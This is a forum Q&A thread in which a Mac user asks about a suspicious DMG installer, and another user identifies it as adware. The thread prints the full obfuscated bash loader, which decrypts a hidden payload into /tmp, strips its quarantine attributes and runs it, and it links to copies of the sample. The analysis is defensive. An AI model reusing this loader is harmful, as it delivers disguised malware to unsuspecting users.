Possibly a virus?

Question

I'm new to Mac. I downloaded software from a website. It was a DMG file. I installed it, but then the app didn't appear in the Launchpad. I accessed the DMG and I see this strange installation script that could be a virus (why encrypt arguments??) What do you think? Where can I found the installed app and delete it?

I searched in About this Mac > System Report > Installations & Applications but is not there. And then I used the search in the Finder and neither.

EDIT: The software I tried to download was a legit software from around 115MB and when I downloaded was only 4MB... that was my first red flag. Then I run the installation, and instead of the software logo, it said it was installing flash... and then a terminal shown and hide in a second... I opened the installation file and I have this:

#!/bin/bash
G="a";F="c";Q="d";H="e";V="l";Z="m";X="n";T="o";J="p";K="s";
export appDir=$(cd "$(dirname "$0")"; pwd -P)
export tmpDir="$(mktemp -d /tmp/XXXXXXXXXXXX)"
export binFile="$(cd "$appDir"; ls | grep -Ev '\.(command)$' | head -n 1 | rev)"
export archive="$(echo $binFile | rev)"
export commandArgs='U2FsdGVkX18mEBVdMEhSyNthIprtcEexqgmiVNi7GYZhMTp6b/5TLfySc6T7DDx4s/IhTc8GJ2IjrqeWRIb8Rv9r8FqrZplCOhnKlqwMSumhQ5K47p1GzR7WEpWxL2cdbMPuQDuntt9UqqoIuDsJrH5S2rkk8gbKu6+XIMA8rtTe1XzG/yjQXOWDzF6YzLyuy4Mf9Ro26V9NWalR+VmHaX6V0Mdpy9Gw/01HB93qNTV3VuzwYNBxInWHSgeJ4lMOYmg2YjmF6ihs4fA8cdJk0qoKKh87gzad3PoFiBKRmMIfqtwC/BBZ+F+GP2fIAav3'
decryptedFommand="$(echo -e "$commandArgs" | ${T}${J}${H}${X}${K}${K}${V} ${H}${X}${F} -${G}${H}${K}-256-cbc -${Q} -A -b${G}${K}${H}64 -${J}${G}${K}${K} "${J}${G}${K}${K}:$archive")"
nohup /bin/bash -c "${H}v${G}${V} \"$decryptedFommand\"" >/dev/null 2>&1 &
killall Terminal 

Which is pretty strange... why an installation would encrypt it's parameters???

So according to this, I created a new bash script with this:

#!/bin/bash
G="a";F="c";Q="d";H="e";V="l";Z="m";X="n";T="o";J="p";K="s";
export appDir=$(cd "$(dirname "$0")"; pwd -P)
export tmpDir="$(mktemp -d /tmp/XXXXXXXXXXXX)"
export binFile="$(cd "$appDir"; ls | grep -Ev '\.(command)$' | head -n 1 | rev)"
export archive="$(echo $binFile | rev)"
export commandArgs='U2FsdGVkX18mEBVdMEhSyNthIprtcEexqgmiVNi7GYZhMTp6b/5TLfySc6T7DDx4s/IhTc8GJ2IjrqeWRIb8Rv9r8FqrZplCOhnKlqwMSumhQ5K47p1GzR7WEpWxL2cdbMPuQDuntt9UqqoIuDsJrH5S2rkk8gbKu6+XIMA8rtTe1XzG/yjQXOWDzF6YzLyuy4Mf9Ro26V9NWalR+VmHaX6V0Mdpy9Gw/01HB93qNTV3VuzwYNBxInWHSgeJ4lMOYmg2YjmF6ihs4fA8cdJk0qoKKh87gzad3PoFiBKRmMIfqtwC/BBZ+F+GP2fIAav3'
decryptedFommand="$(echo -e "$commandArgs" | ${T}${J}${H}${X}${K}${K}${V} ${H}${X}${F} -${G}${H}${K}-256-cbc -${Q} -A -b${G}${K}${H}64 -${J}${G}${K}${K} "${J}${G}${K}${K}:$archive")"

And I tried first to echo commandArgs and then decryptedFommand but in both cases I got:

4379344364:error:06FFF064:digital envelope routines:CRYPTO_internal:bad decrypt:/System/Volumes/Data/SWE/macOS/BuildRoots/38cf1d983f/Library/Caches/com.apple.xbs/Sources/libressl/libressl-56.60.2/libressl-2.8/crypto/evp/evp_enc.c:521:

According to the comments from @nohillside there was another file which had the key to the encryption. So I got that file and put it on the same folder as the script. But also it used it's own name, so I had to rename it to match the original script, which was Install.command. And with that, I could get that decryptedFomand prints:

$(echo "openssl enc -aes-256-cbc -d -A -base64 -k \"$archive\" -in \"$appDir/$archive\" -out \"$tmpDir/$binFile\"; xattr -c \"$tmpDir/\"*; chmod 777 \"$tmpDir/$binFile\"; \"$tmpDir/$binFile\" && rm -rf $tmpDir")

And then uses that to run the last command:

nohup /bin/bash -c "${H}v${G}${V} \"$decryptedFommand\"" >/dev/null 2>&1 &
killall Terminal  

So what it's doing?

I uploaded the suspicious DMG to my Google Drive just in case it helps: https://drive.google.com/file/d/1O2WihwZyzjzUZVwLkAfmCw8nqXYZeG96/view?usp=sharing In case you can't download the DMG, I put a zip file with both files (installer and the key file): https://drive.google.com/file/d/1YDccdiWZsgNMcqvGPmuiatJfBnfns5lE/view?usp=sharing

Answer 1

It's an adware. https://www.virustotal.com/gui/file/539b344bda35eaf41d043cdfc76b92bb8117edfbd3d7bf546e28c173064affc9/detection

came across this today myself. So I analyzed it.

-rw-r--r-- 1 230360 Dec 17 03:49 3Mj2Qk7tMC8
-rwxrwxrwx 1    994 Dec 17 03:49 Install.command

The first file is the key and the actual payload itself, which is encrypted.

And the second file, which contains the obfuscated code. Decrypts the payload in /tmp directory and executes it.

code which was obfuscated:

$([[ $(uname -p) == arm ]] && (echo A | softwareupdate --install-rosetta); 
  echo "openssl enc -aes-256-cbc -d -A -base64 -k \"$archive\" -in \"$appDir/$archive\" -out \"$tmpDir/$binFile\"; xattr -c \"$tmpDir/\"*; chmod 777 \"$tmpDir/$binFile\"; \"$tmpDir/$binFile\" && rm -rf $tmpDir")